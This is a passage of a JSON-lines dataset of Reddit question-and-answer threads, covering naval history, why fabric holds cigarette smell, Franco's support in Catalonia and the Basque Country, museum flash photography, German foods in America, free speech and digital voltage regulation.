answered ", "My last fever, I had a dream that I wss trapped in my bed and millions of years passed so quickly and I was just scared, I was trapped, my family friends and my girlfriend had been dead for millions of years. I was sad I lost my true love and there was nothing to do, I finnaly met 3 people randomly millions of years in the future and they had a vehicle that could put me back in my time period, but then we got stuck, so my only option was to run. Run into the past as quickly as possible. So I ran but out of my dream I got out of bed and was just pacing from the living room to my bed, and just years passed me in the dream but I was finnaly stopped by my step dad, wenr into my room only to find my girlfriend crying and I come to her to help her and im not there im dead on the bed, and realized\n y I was trapped in my bed I just stand there until I fade away into reality, but sweating and just scared", "Am I the only who finds op's name ironic? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "10e6wg", "title": "Monday Mish-Mash | Naval Warfare", "selftext": "Previously:\n\n- [Fakes, Frauds and Hoaxes](_URL_7_)\n\n- [Weaponry](_URL_5_)\n\n- [Historical Fiction](_URL_4_)\n\n- [World War II](_URL_0_)\n\n- [Crime and Criminals](_URL_3_)\n\n- [Animals, Beasts and Other Creatures](_URL_2_)\n\n- [The History of Music](_URL_6_)\n\n**NOTE:** The daily projects previously associated with Monday and Thursday have traded places.  Mondays, from now on, will play host to the general discussion thread focused on a single, broad topic, while Thursdays will see a thread on historical theory and method.\n\nAs will become usual, each Monday will see a new thread created in which users are encouraged to engage in general discussion under some reasonably broad heading.  Ask questions, share anecdotes, make provocative claims, seek clarification, tell jokes about it -- everything's on the table. While moderation will be conducted with a lighter hand in these threads, remember that you may still be challenged on your claims or asked to back them up!\n\nAs yesterday (September 23rd) was the anniversary of the celebrated [Battle of Flamborough Head](_URL_1_) in 1779, it might be worthwhile to take naval warfare as our focus today.\n\nFor as long as we've needed to travel across large bodies of water, the opportunity to fight on them as well has been ever-present.  From the oar-powered triremes and barges of old to the nuclear-powered aircraft carriers and submarines of today, naval combat has always been a nexus of considerable technological development, a critical factor in international relations, and a source of countless fascinating stories.\n\nSome possible questions to start us off:\n\n- How has naval warfare changed since antiquity?  \n\n- What were ancient naval battles like, and what are some that should most prominently commend themselves to our attention today?  \n\n- What are some especially famous ships from throughout history, and how did they win their acclaim?\n\n- Correspondingly, what of famous captains and crew?\n\n- What would you propose as being the most interesting naval engagement in history?  The most unusual?  The most vicious?  The most lop-sided?  Think of some adjectives here, people.\n\n- What are some works of art -- whether literary or cinematic -- that treat naval combat especially well?\n\nThe floor is opened to you, /r/askhistorians readers.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/10e6wg/monday_mishmash_naval_warfare/", "answers": {"a_id": ["c6cotcl", "c6cpccl", "c6cpt15", "c6cq0ki", "c6cqb3d", "c6cqhi2", "c6cqn0h", "c6cr8kk", "c6cs2db", "c6ct0mj", "c6ct6ke", "c6cun3h", "c6cuvmn", "c6cuzp1", "c6cv4uv", "c6d1gku", "c6d221u"], "score": [11, 9, 5, 6, 5, 6, 3, 7, 3, 5, 2, 11, 2, 3, 4, 2, 2], "text": ["Having seriously enjoyed *Master and Commander* (the film, not the book, though I'm sure the books are great too!), I've been annoyed at just how few movies centered upon \"the age of fighting sail\" there are, and just how... well, *poor* they tend to be at that.\n\nI'm hoping I've just had bad luck finding the good ones, though.  Can anyone recommend some that actually stand up very well?  I'd be shocked if anything could actually match *Master and Commander*, but even something that's half as good would be an improvement on nothing.", " >  What are some especially famous ships from throughout history, and how did they win their acclaim?\n\nThe [Vasa](_URL_1_), acclaimed for not quite making it to battle. ;) If ever you're in Stockholm, be sure to visit the [Vasa Museum](_URL_0_).", "Always wondered how naval combat went in post-roman Britain, what with the invasion off Saxons all coming over in boats. Did the British ever try and stop their crossing?", "A bit of a fun fact, in 1782 Napoleone (as his name still was) expressed interest in becoming a sailor -- going as far as thinking about applying to Britain's Royal Navy. One supervisor remarked, 'This boy would make an excellent sailor.' However, familial circumstances and obligations wouldn't allow it.\n\nOn that note, I think that the most well known naval battle of the Napoleonic Wars -- Trafalgar -- gets far too much acclaim. It seems to be the popular conception that Trafalgar put a stop to a planned invasion of Great Britain. However, Napoleon had already long abandoned that ambition. The Battle of Ulm, in fact, had occurred just a couple days prior. Napoleon's armies were then kept busy throughout continental Europe, so an invasion of England wouldn't have been possible anyways. Napoleon also had given up hopes of resurrecting an American empire for France.\n\nPerhaps the most damaging result of Trafalgar to France was the loss of its navy. However, by the time of Napoleon's abdication, France's navy had returned to almost the size it was at Trafalgar. Trafalgar's importance, then, seems to lie mostly with British propaganda. \n\n", "The award for best name of a naval war goes to....  \n\nTHE WAR OF JENKINS EAR!!! (cue applause) \n\n_URL_0_ \n\n//The incident that gave its name to the war had occurred in 1731 when the British brig Rebecca was boarded by the Spanish coast guard La Isabela, commanded by Julio Le\u00f3n Fandi\u00f1o. After boarding, Fandi\u00f1o cut off the left ear of the Rebecca's captain, Robert Jenkins, who had been accused of piracy. Fandi\u00f1o told Jenkins, \"Go, and tell your King that I will do the same, if he dares to do the same.\" In March 1738, Jenkins was ordered to attend Parliament, presumably to repeat his story before a committee of the House of Commons. According to some accounts, he produced the severed ear when he attended, although no detailed record of the hearing exists.[10] The incident was considered alongside various other cases of \"Spanish Depredations upon the British Subjects\",[11] and was perceived as an insult to the honour of the nation and a clear casus belli//\n\nSecond place award goes to the \"Cod Wars\" _URL_1_ ... although these being 'wars' between modern Brits and modern Scandinavians no one was so impolite as to kill anyone, but there was general rudeness and bad feeling. There's currently a row brewing over mackerel quotas so another Cod war may be on the cards. Bloody Vikings with their insatiable appetite for fish! ", "Some of the things that come first into my mind are:\n\n**Greek Fire:** It is considered possibly one of the earliest versions of a flamethrower, at around 678 CE. There is a lot of speculations on how they were deployed, what was their composition and so on. They were used to protect the Byzantine empire from the Arab invaders. But, the secret was lost in 1204 during the sacking of Constantinople. They were supposed to be pretty effective in naval encounters.\n\n**Turtle Ship:** I remember this from the *Age of Empires 2: Age of Kings* expansion. It was first built by Koreans in 1590 to be used against the Japanese navy. It had a turtle-like shell with iron-spikes to defend against fire-arrows and boarding tactics. They used to burn sulfur and release the gas through the dragon-like head for psychological warfare.\n", "Coincidentally  this group just popped up on my facebook (yes I'm cheating on reddit sometimes but shhhhhh.) \n\n_URL_0_?", " >  What are some especially famous ships from throughout history, and how did they win their acclaim?\n\nThe USS Enterprise (CV-6), the most decorated ship in the history of the American navy. \n\n20 Battle Stars, including major turning points at Midway and Guadalcanal, the Japanese announced they had sunk her on 3 separate occasions... and of course, there's Star Trek :p", " >  What were ancient naval battles like, and what are some that should most prominently commend themselves to our attention today? \n\nWould the battle of Aegospotami in 405 BC, be a good example of how political meddling in military affairs can have dire consequences, if true?\nAccording to *Fighting Techniques of the Ancient World* prior to the battle, the Athenians had their most senior admirals executed for failing to rescue Athenian sailors from drowning in a previous battle. And after that appointed untested men to admiral positions. Is this a true story?", "The [Corvus](_URL_0_) has long struck me as a particularly interesting innovation.\n\nDuring the first Punic War, Rome was badly outmatched at sea. The Romans had very little naval presence, and supposedly this was the first time they had ever seriously constructed a war fleet.  By contrast, Carthage was a trading state with  a great deal of experience at sea.\n\nThe primary weapon of ships at the time was a bronze ram at the front that was used to damage enemy hulls.  This took experienced, coordinated rowers to generate the necessary speeds and outmaneuver the enemy.  These weren't something Rome had in abundance.\n\nInstead, they fitted their ships with a long metal bridge, the corvus, that could be dropped onto passing ships.  Once the two were hooked together, Roman soldiers could board the enemy and fight on much more favorable terms.\n\nFor the most part, it worked, and the Romans were able to win battles against one of the foremost naval powers in the Mediterranean at that time.\n\nThe Corvus did have its share of disadvantages.  The balance and handling of their ships was badly hampered by having a large heavy chunk of metal attached to the top.\n\nWhen the war was over, the Corvus was abandoned by the Romans, but at the time it was a clever innovation in the face of a more experienced opponent.", "How accurate are the Empire: Total War naval battles? The ships themselves? Does the game accurately depict the chaos of battles?\n\nSam question for the movie Master and Commander: did kids really worked as officers on ships? Is the movie accurate?", "I guess the most important ship in modern history is the [HMS Dreadnought](_URL_0_), not because it actually took part in any significant battle or something like that, but because of its existence.\n\nAfter it was launched it made virtually all existing Battleships build before it completely and utterly obsolete. Which meant that every Navy in the world had to replace all its battleships with Dreadnought type battleships, if they wanted to keep up. This was especially bad for the Royal Navy (even though the Dreadnought was a Royal Navy ship), since it meant that the centuries long advantage, the Royal Navy had in terms of accumulated investment in ships (numbers, tonnage, capabilities, training) meant suddenly nothing. This made it possible for other nations like e.g. Germany to actually catch up in terms of maritime power and threaten Great Britain's dominance on sea. This of course contributed strongly to the emerging conflicts on the Continent at this time.\n\nGermany lost big time, but nonetheless the HMS Dreadnought marks the beginning of the end of British dominated World seas and therefore the beginning of the end of the British Empire.", "Armored battleships were the focus of the world's great navies for a long time. It's only after the Pacific Theatre that Aircraft Carriers came to the fore as decisive capital ships. \n\nWhat examples are there of truly decisive battleship on battleship engagements? Tsushima is the only \"perfect\" example of decisive battleship doctrine that I can think of. The battles these ships were built to fight seem remarkably similar to the battles actually fought by sailing warships for hundreds of years. Yet it seems few such battles actually occurred between steam or oil-powered warships.\n\nAnother thing that always interested me is battleship design. For example, the British flagship _Victoria_ looked like [this](_URL_0_), remarkably different from the iconic battleship design used by most navies by the 20th century. r/warshipporn is a fun place to go for experimental ship designs.", "[Yukikaze](_URL_0_), a Japanese destroyer of the mighty [Kagero](_URL_1_) class, took part in  the invasions of the Philippines and the Dutch East Indies, the battles of Midway, Santa Cruz, Leyte Gulf, and the Philippine Sea, as well as a lengthy stint on Guadalcanal troop runs and the naval battles around that island. Yukikaze took part in Operation Ten-Go, the abortive attack on the American force landing on Okinawa, during which the Yamato was sunk.\n\nAmazingly, she survived the war and served on until 1970(!) in the Chinese republican navy. Sadly, she was then scrapped after running aground in a typhoon.", "Here's some unusual warships:\n\nThe [HMS Saint Lawrence,](_URL_0_) a 112-gun ship of the line built in Canada to control Lake Ontario. The only ship of her kind ever built. Her very existence deterred any action from the American Ontario fleet. She was too large to transit out of Lake Ontario either upstream or downstream, and thus had a short life after the war.\n\nAnd the HMS Glatton, [which was at one point armed entirely with short-range carronades.](_URL_1_). In theory could have destroyed a much larger ship if it was allowed to close range. \n\nPost other unusual warships below if you like!", " > What were ancient naval battles like, and what are some that should most prominently commend themselves to our attention today?\n\nI would proffer the [Battle of Actium](_URL_0_) between the forces of Octavian and the combined fleets of Mark Antony and Cleopatra. \n\n", "How can I learn something about how WWII-era mine warfare worked? I'm talking about the nitty gritty of the laying, how the mines worked, their effectiveness on the enemy, and how sweeping worked."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskHistorians/comments/yonze/thursday_focus_world_war_ii/", "http://en.wikipedia.org/wiki/Battle_of_Flamborough_Head", "http://www.reddit.com/r/AskHistorians/comments/xxwhr/thursday_focus_animals_beasts_and_other_creatures/", "http://www.reddit.com/r/AskHistorians/comments/yby8p/thursday_focus_crimes_and_criminals/", "http://www.reddit.com/r/AskHistorians/comments/z2vaz/thursday_focus_historical_fiction/", "http://www.reddit.com/r/AskHistorians/comments/zgiqx/thursday_focus_weaponry/", "http://www.reddit.com/r/AskHistorians/comments/xkn0h/thursday_focus_the_history_of_music/", "http://www.reddit.com/r/AskHistorians/comments/1011jz/monday_mishmash_fakes_frauds_and_hoaxes/"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Vasa_Museum", "http://en.wikipedia.org/wiki/Vasa_%28ship%29"], [], [], ["http://en.wikipedia.org/wiki/War_of_Jenkins'_Ear", "http://en.wikipedia.org/wiki/Cod_Wars"], [], ["https://www.facebook.com/navalhistory"], [], [], ["http://en.wikipedia.org/wiki/Corvus_%28weapon%29"], [], ["http://en.wikipedia.org/wiki/HMS_Dreadnought_%281906%29"], ["http://en.wikipedia.org/wiki/File:HMS_Victoria_%281887%29.jpg"], ["http://en.wikipedia.org/wiki/Japanese_destroyer_Yukikaze", "http://en.wikipedia.org/wiki/Kagero_class_destroyer"], ["http://en.wikipedia.org/wiki/HMS_St_Lawrence_%281814%29", "http://en.wikipedia.org/wiki/HMS_Glatton_%281795%29"], ["http://en.wikipedia.org/wiki/Battle_of_Actium"], []]}
{"q_id": "3vl4fc", "title": "How do materials like fabric retain scent from being exposed to smoke? Which retain scents longer, skin or clothing?", "selftext": "I know cigarette smoke tends to stick around for a while. Another question, why do cigarettes tend to stick around longer on clothing / skin versus other scents like vapor or candles?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3vl4fc/how_do_materials_like_fabric_retain_scent_from/", "answers": {"a_id": ["cxoicyp"], "score": [9], "text": ["A fabric molecule will have lots of hydroxyl (cotton) or amide (nylon) functional groups that can interact favorably with molecules present in the cigarette smoke.  This interaction means that the scented molecules linger near the fabric molecules and can be picked up later.\n\nRe: why cigarette smell seems to \"stick\" longer - it could be a combination of things.  The smell might be more recognizable, it might have a lower threshold for detection, or it might be a truly molecular interaction between the cigarette scented molecules and the fabric.  Usually a vapor or candle is scented with very light molecules like esters that evaporate easily; cigarette smoke can have heavy aromatic molecules.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8yac92", "title": "The narrative I'm most familiar with about General Franco is that he was despised by the people of Catalonia and the Basque country. Is this mostly true? What can be said of his supporters in these regions?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8yac92/the_narrative_im_most_familiar_with_about_general/", "answers": {"a_id": ["e29lwd6"], "score": [23], "text": ["\u201cMostly true\u201d is a pretty decent way of putting it. Certainly, the Basque Country and Catalonia could be accurately described as being generally opposed to the Franco regime. As your question implies though, it is impossible to speak so absolutely about any population \u2013 there were of course exceptions (not least because both regions had large numbers of immigrants from elsewhere in Spain), the picture varies a lot over time and even in later years when opposition is more hegemonic it\u2019s an interesting question as to where minority support for the regime may have come from. I think research also points away from the simplistic, anti-regional narrative that paints Francoism as completely unable to tolerate linguistic and cultural expressions of regional identity. Rather, regional policy varied, and often had the aim of directing such expressions in \u2018safe\u2019 directions rather than suppressing them altogether. Of course, this didn\u2019t always work very well...\n\nAs a starting point, each case is rather different. Although some research has cast doubt on the exceptionality of the Basque Country support for the Republic (the peaceful \u2018oasis\u2019 without anticlerical violence), Republican support in the region is still much more heavily associated with a relatively conservative support base motivated by nationalism rather than left-wing ideologies. That said, conservative support for the Republic was far from monolithic, and many Basque Catholics came out in support of the military uprising in 1936 on a pro-Catholic, anti-Bolshevik basis. One historian, Fernando Molina, estimated that a full third of Basques were for the uprising, with eight *tercios* formed of about 10,000 volunteers mobilising to join the coup. Moreover, Basque Catholic traditionalists tended to agree with Franco on quite a lot of subjects, and could therefore be celebrated without challenging the regime too deeply. The Basque Country was admired in Francoist circles as representing a sort of \u2018primordial\u2019 Spanishness \u2013 the rural, pious, virtuous peasantry that typified both the Basque self-imagining and the regime\u2019s own ideal subjects. \n\nOther seemingly integral symbols of Basque identity such as the Athletic de Bilbao football club, for instance, was elevated by the regime in the 1940s-50s (when they happened to be very good). Interestingly, Spain played the Soviet Union in Bilbao in the European Cup Final of 1964. Franco attended in person, and by all accounts was received enthusiastically by the local fans. Football was a \u2018safe\u2019 way to express regionalism, and one that was far from incompatible with Francoism, although this grew more difficult as the team became a symbol of Basque nationalism in the late 1960s and 1970s, similarly to Barca in a Catalan context. This was in the context of a growth in the power of a new generation of Basque nationalist narratives, based on retellings and refashioning of the civil war-era history and memory, with organisations such as ETA drawing on these narratives to justify their violent opposition to the regime. \n\nIn Catalonia, the civil war experience had been a lot more traumatic for significant sections of the population, as a result of more widespread anti-clerical and revolutionary violence (over a third of religious deaths, for instance, happened in Catalonia, representing maybe 30 & #37; of the local priesthood). The Catholic middle class and the Church, therefore, both supported the new Franco regime to some extent as a guarantee against social unrest and further political violence, even if not always completely wholeheartedly. The rebuilding of Catalan Catholicism was a project in which both state and Church would wholeheartedly cooperate. Yet equally, the need to maintain the Church\u2019s remaining popular support \u2013 such as by offering services in Catalan \u2013 meant that the Catalan language could survive in this context. Indeed, the only legal use of the language up to the 1960s was in the Church.\n\nEven political nationalism was not entirely divorced from the Franco regime. The Lliga Regionalista was the original home of conservative bourgeois Catalanism in the early twentieth century, although by the 1930s it was overtaken by the Esquerra Republicana de Catalunya, which could count on a wider social basis. While the ERC was a solidly Republican party, the Lliga identified with the Spanish right, and as such were a target for political violence on the outbreak of civil war \u2013 about 400 were killed in revolutionary violence or through popular tribunals after the July 1936 uprising. The active participation of some prominent Lliga figures, such as Joan Ventosa i Calvell, sealed their association with the regime, which limited their influence after the war\u2019s end. Nonetheless, many of its constituents were initially far from hostile to the Franco regime. Andrew Dowling quotes one declaration made by \u2018Catalan religious and bourgeois groups\u2019 in 1940:\n\n > The day arrived when Catalonia, victim of its own mistakes, found itself shipwrecked in the abyss of a revolution whose only aim was to scorn and destroy it...Today, Catalonia redeemed gives itself with fervour...to the fruitful task of material and spiritual resurgence and says to Franco: You saved me from a death without resurrection. \n\nYet it\u2019s worth noting that in both contexts, the initial support (or at least acceptance) of the regime found in certain circles dwindled over time, as new, powerful nationalist narratives emerged in both contexts. In Catalonia in particular, the regime\u2019s institutional and class-based support was heavily undermined by new developments. The Catalan Catholic Church, thanks perhaps to its championing of Catalan culture in the 1940s and 1950s, had largely escaped the threat of popular anti-clericalism, and had even found a new place among the opponents of Francoism by the mid-1960s. The tactics of key opposition groups such as the Partit Socialista Unificat de Catalunya (PSUC, essentially the Catalan Communist Party), which had emerged as the leading left-wing opponents of Francoism in Catalonia, also allowed Catalan nationalism to become the basis of a very broad coalition that included the middle class. The illegal PSUC had noted the opportunities inherent to the creation of mass Catalanist organisations in the late 1950s onwards, which in turn helped spark a Francoist shift towards promoting \u2018safe\u2019 expressions of Catalan culture, such as by founding the Omnium Cultural, dominated by regime loyalists (who had often fought directly for Franco in the civil war) and who attempted to redirect Catalan national sentiments. But the PSUC was far more successful among actual Catalonians \u2013 although interestingly the regime\u2019s efforts did result in an uptick of interest in Catalan culture among the immigrant populations of Barcelona. Combined with the PSUC\u2019s traditional basis among the urban working-class, this laid the foundations for the unprecedented mobilisations of anti-Francoist activity in Catalonia in the 1970s.\n\n**Sources**\n\nAndrew Dowling, \u2018The Reconstitution of Political Catalanism 1939\u201375\u2019, *International Journal of Iberian Studies* 14:1 (2001), pp. 17-25.\n\n\\-- \u2018The Leading Role of the Party: Catalan Communism and the Franco Regime, 1939\u20131975\u2019, *European History Quarterly* 43:3 (2013), pp. 489-507.\n\n\\-- \u2018For Christ and Catalonia: Catholic Catalanism and Nationalist Revival in Late Francoism\u2019, *Journal of Contemporary History* 47:3 (2012), pp. 594-610.\n\nFernando Molina, \u2018Lies of Our Fathers: Memory and Politics in the Basque Country Under the Franco Dictatorship, 1936-68\u2019, *Journal of Contemporary History*49:2 (2014), pp. 296-319.\n\nAlejandro Quiroga, \u2018Spanish Fury: Football and National Identities under Franco\u2019, *European History Quarterly* 45:3 (2015), pp. 506-29."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cvrgdu", "title": "was the idea that \u201cfreedom of speech doesn\u2019t mean freedom from [societal] consequences\u201d ever a point of confusion in the first place?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cvrgdu/eli5_was_the_idea_that_freedom_of_speech_doesnt/", "answers": {"a_id": ["ey5wxim", "ey5xa94", "ey5xb92"], "score": [9, 4, 4], "text": ["Yeah, because people don't actually read the Constitution or study the meaning behind the phrase.  They hear \"freedom of speech\" and assume that it means \"I can say whatever I want, because that's freedom.\"\n\nBut of course, the actual words of the Constitution (in the US at least) are:\n\n > Congress shall make no law... abridging the freedom of speech\"\n\nThat's a really specific wording and nobody ever seems to pay attention to more than the last three words.  There's lots of things I can do that Congress has made no law against, but which will ruin my life in plenty of other ways.  If I call my boss a moron, she's more than welcome to fire me, freedom of speech or not, because my boss isn't Congress and she's not setting laws.", "200 years ago, long before the days before mass Internet communications and recording software, usually you wouldn't know who said what, unless you were there.  Of course this wasn't 100% the case for everyone, they had newspapers that covered politicians, everything anyone said in court was always written down, etc.\n\nNowadays it's a lot easier for someone's controversial speech to be recorded forever and broadcast to social media.  And there's a lot more pressure e.g. on companies to fire people because of what they say outside of work.  For example a few years ago Mozilla fired the guy who created JavaScript because of his views on gay marriage, even though that had nothing to do with his job.", "The actual first amendment (emphasis mine) is:\n\n >  **Congress shall make no law** respecting an establishment of religion, or prohibiting the free exercise thereof; or **abridging the freedom of speech, or of the press; or the right of the people peaceably to assemble, and to petition the Government for a redress of grievances.**\n\nIn the context of the literal wording of the law, the first amendment is fairly unambiguous: congress can't make a law prohibiting free speech, censoring the press, or banning peaceful assembly or government petitions. However, the paraphrased line often is \"you have the right to free speech,\" with no other context given.\n\nThe \"obvious,\" if incorrect, assumption is that you have the right to say whatever you want, whenever you want, wherever you want - ignoring the fact that the government has no authority to prohibit censorship in private platforms/locations. (For instance, you could argue that the government forcing me to *not* censor my religious website impedes my free exercise of said religion, which contradicts the First amendment as much as making me censor it.) The government also does not have the ability to stop someone from punching you if you say something stupid (sure they can punish them afterwards, but you'll still have a busted face).\n\nUltimately, its the fact that the paraphrased version of the law is so widespread and the fact that so many people don't understand the deeper implications of the actual law that causes the confusion we see."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2woz8v", "title": "Why can't I take pictures of paintings at a museum? They always say it's bad for the art, but what is actually happening that makes that true?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2woz8v/why_cant_i_take_pictures_of_paintings_at_a_museum/", "answers": {"a_id": ["cosyfk2", "coszkli", "cot2mca", "cot38hh", "cot4hvj", "cot77np", "cot7bsr"], "score": [489, 16, 376, 9, 6, 15, 88], "text": ["Not much of a scientific answer. Apparently, flash photography doesn't harm the pigments in paint. I suppose due to a lack of UV in the artificial light: _URL_0_ \n\nIt's usually the case that for works of art on loan, such as temporary exhibitions, there are copyright issues. And yeah, some galleries will want to increase revenue by selling you a postcard of a painting rather than have you take a photo of it.\n\nI go to galleries and museums a lot so would agree with the general consensus that allowing flash photography would be annoying, along with selfies with the work, etc.", "I'd like to see some citations that photo flashes are UV filtered.\nBack in my days as a darkroom technician, I knew a bunch of photographers that bought UV filters for shooting weddings.  Some wedding dresses were treated with optical brightners that caused the dresses to have a blueish tint when hit with a flash.\n\nFlashes are designed to match daylight as much as possible, including the UV content to prevent metamerism problems.", "I work at a museum. The reason we have this rule is because we don't own all the pieces. Some of our stuff in display is on loan and we don't have the rights to authorize photography. We have a blanket policy of no photography to avoid confusing guests. \n\nAlso, flashes will sometimes set off our alarms. Not as big of a deal these days but still something we try to avoid. ", "I can explain. Most pigments get their color as result of a conjugated pi system(double bonds) often in conjunction with a transition metal (but not necessarily). An example of a conjugated pi system could look sorta like [this](_URL_0_). Now whenever light of the proper wavelength(typically UV but depends on the compound) hits a conjugated pi system it can impart part of its energy to an electron which can disrupt the system and result in a double bond being converted to a single bond. Since conjugated pi systems are typically the chromophore(part that absorbs light and give it color) of a compound this disrupts the pi system and can shift the absorption spectrum of the compound resulting in a color change. This process is sometimes called photo-bleaching and can happen to many colored compounds when left in intense light for too long. [Melanin](_URL_1_)  our skin(and eye) pigment is an extensively conjugated molecule with a large relative cross section and is instrumental in absorbing harmful UV rays which could damage important molecules(DNA!!) in our cells, which is why people with albinism have an increased risk for certain types of cancer.     \n", "I work at the Metropolitan Museum of Art in New York. We usually discourage flash more because it's a distraction/annoying for the other visitors. When it comes to a special exhibition, it's usually because it's a private collection or on loan and up to the owners of those pieces to allow photos or not. As far as what actually happens to the art, I don't know. I can only imagine that sudden, harsh lighting must do *something* but I don't think it's anything significant.", "You are not really hurting the artwork by using a flash. You are, however, really annoying to the other people that are there to experience the artwork. Light can, and does definitely damage artwork, but some gets it worse than others. \n  \n* The pigment in most oil and acrylic paintings is held firmly in place by the medium or binder and is quite resistant to light damage; with the exception of certain pigments that inherently react with light like the zinc used in most whites, as well as unstable varnishes or lacquers etc...  \n  when a painting is conserved, most often, the top varnish or lacquer layer is removed and re-applied with whatever is the best-at-the-time lacquer, to get that 'just painted look' back and the piece is as good as new. I once heard a conservator say that \"most conservation work is undoing the work of a previous conservator\". \n\n* work on paper, however can be greatly affected by light exposure. Paper is made of fibers all moving in different directions (unlike canvas or linen which is a bunch of spun fibers made in to strings and then woven together for stability). Over time, the fibers of the paper begin to break apart, this effect is exacerbated by the fact that light speeds up this process. Most paper is somewhat acidic, which is why paper can yellow so quickly. This is a problem for work on paper as it is quite difficult to repair, unlike a painting.  \nThere is nothing you can do to stop the ageing process on a piece of paper short of coating it in acid free/ph neutral resin. It is often difficult to replicate a torn or missing piece of paper, as the texture and color are quite difficult to match.\n\n   \nThere is some pretty interesting reading about light exposure on [this school's](_URL_0_) website. At the end of that article they discuss how light damage is cumulative so some work should either be lit under very soft lights or exposed to a lot of light for a short amount of time. (TIL: a lack of light can also damage a work of art {most art is still \"alive\" so to speak})  \n\nMost work that you will see in a museum will have taken steps to protect the artwork from light damage, including the damage you would do with your camera's flash. There is UV treated glass and plexi as well as filters for lights and windows. Big museums usually have an employee devoted to lighting the artwork and making sure the piece is safe under it's exposure conditions. I know about this guy because I occasionally fill in for him at work.\n", "This question [was asked a few months ago](_URL_1_) so I'm just going to copy my answer:\n\nArt conservator here - though my specialty is textiles not paintings. So the lighting in museums is carefully controlled. There are internationally accepted standards that limit the exposure of art to light because, as some other commentors have said, light energy acts as a catalyst for the chemical reactions that break down materials used in art. Light, all light, even the uv-filtered low-lux lighting used in museums damages the objects on display over time and that damage is permanent. Museums have a dual responsibility to both protect the art in their care and make it available to the public which makes a certain degree of light damage ethically acceptable under controlled display standards. However flash from photography is uncontrolled (both in strength and number of occurrences over time) and is something that we can protect the objects from with a simple rule.\n\nDespite the above being true, I suspect the primary motivator for most museums is copyright and/or disturbing other visitors because the measurable negative effects of camera flashes is actually minimal compared to the other risks to the object that come with public display.\n\nHere's a [link](_URL_0_) to a light damage calculator so you can see the potential effects of various light exposures."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.arthistorynews.com/articles/2936_Does_flash_photography_really_damage_paintings"], [], [], ["http://en.wikipedia.org/wiki/Conjugated_system#mediaviewer/File:Beta-carotene-conjugation.png", "http://en.wikipedia.org/wiki/Melanin#mediaviewer/File:Eumelanine.svg"], [], ["https://www.nedcc.org/free-resources/preservation-leaflets/2.-the-environment/2.4-protection-from-light-damage"], ["http://www.cci-icc.gc.ca/tools-outils/ldc-cdl/index-eng.aspx", "https://www.reddit.com/r/askscience/comments/25cgo0/why_is_camera_flash_not_allowed_in_museums_and/"]]}
{"q_id": "4zv5bc", "title": "How did German foods like hamburgers and frankfurters become more quintessentially \"American\" than English staples many of the original colonists would have been familiar with?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4zv5bc/how_did_german_foods_like_hamburgers_and/", "answers": {"a_id": ["d6z4i4m"], "score": [27], "text": ["There are many obvious English food influences found in America, such as the Sunday roast beef (Yankee pot roast). Remember though that Germany was a larger source of immigrants than England from 1820 until WW I. Even today, the 46 million Americans of German-descent constitute the largest single ethnic group in the US (unless you count Hispanics together, regardless of country of origin). The majority of the German immigrants were farmers or working-class. Many turned to street-vending, marketing and the food trade, bringing their imported recipes along with the rest of German culture: beer, (Budweiser beer founded in St. Louis in 1876), chicken-fried steak, hamburg steak, frankfurters and bratwurst, along with Christmas trees, gingerbread houses and the Easter Bunny (Osterhase). Someone may also want to weigh in the contributions of the Pennsylvania Dutch. \n\nAnti-German sentiment rose to a hysterical pitch during WW I however \u2014 German immigrants had to carry identity cards; some 4,000 were interned \u2014 leading to the rebranding of all things German. Germans begin to overtly assimilate. Whereas English dishes (like roast beef, trifle, spotted dick) remain identifiably English, German menu items face revision or translation. A *hamburg steak*^1 becomes a *Salisbury steak*, a *frankfurter* becomes a *liberty sausage*^2 for a while (at least until the term *hot dog* catches on). The latter case is strikingly similar to the House of Representatives rewording their cafeteria menus to replace *french fries* with *Freedom Fries* in a fit of patriotic rebuke to France's opposition to the US invasion of Iraq. \n\ntl;dr Germany was the largest source of immigrants to the US for much of the 19th century. Anti-German sentiment in the US during and after WW I, however, leads to a concerted effort to rebrand, co-opt and assimilate German food culture. \n\n^1 A *hamburg steak* is chopped beef, mixed with onion and egg (possibly milk), cooked, generally attributed to the city of Hamburg, although variants of raw or cooked, minced beef dishes are widespread. There are several historical and local claims to having originated the hamburger on a bun, including one for the Erie Fair in Hamburg, New York in 1885, but it seems likely that the idea of serving a hamburg steak on bread was simultaneously hit upon by numerous American street and fair vendors. \n\n^2 edit: forgot to mention the poor German dachshund, shunned and despised, despite being recast as \"liberty puppies\". "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6b4z4y", "title": "how is the motherboard able to regulate voltage digitally?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6b4z4y/eli5_how_is_the_motherboard_able_to_regulate/", "answers": {"a_id": ["dhk3kys"], "score": [2], "text": ["There are a few ways that regulation can work digitally. I'll go over two below:\n\n###PWM\nPWM, or Pulse Width Modulation, makes the assumption that the average voltage over a wire is just as good as any instantaneous voltage. The voltage is switched on and off really fast and the duty cycle, or percentage of the time the voltage is on, multiplied by the peak voltage is equivalent to the average voltage over a wire.\n\n###Resistor Ladders\nResistor ladders are how digital to analog converters work along with analog video signals such as VGA. The same voltage is fed into a bunch of resistors, each individual resistor's source controlled by a digital logic. The voltage out of each resistor added up is equivalent to the output voltage. The advantage of this technique is that it does not rely on average voltage but rather the instantaneous voltage. It is, however, limited in resolution (number of possible voltages) by the size of the resistor ladder whereas PWM is limited by a timer on a microprocessor."]}, 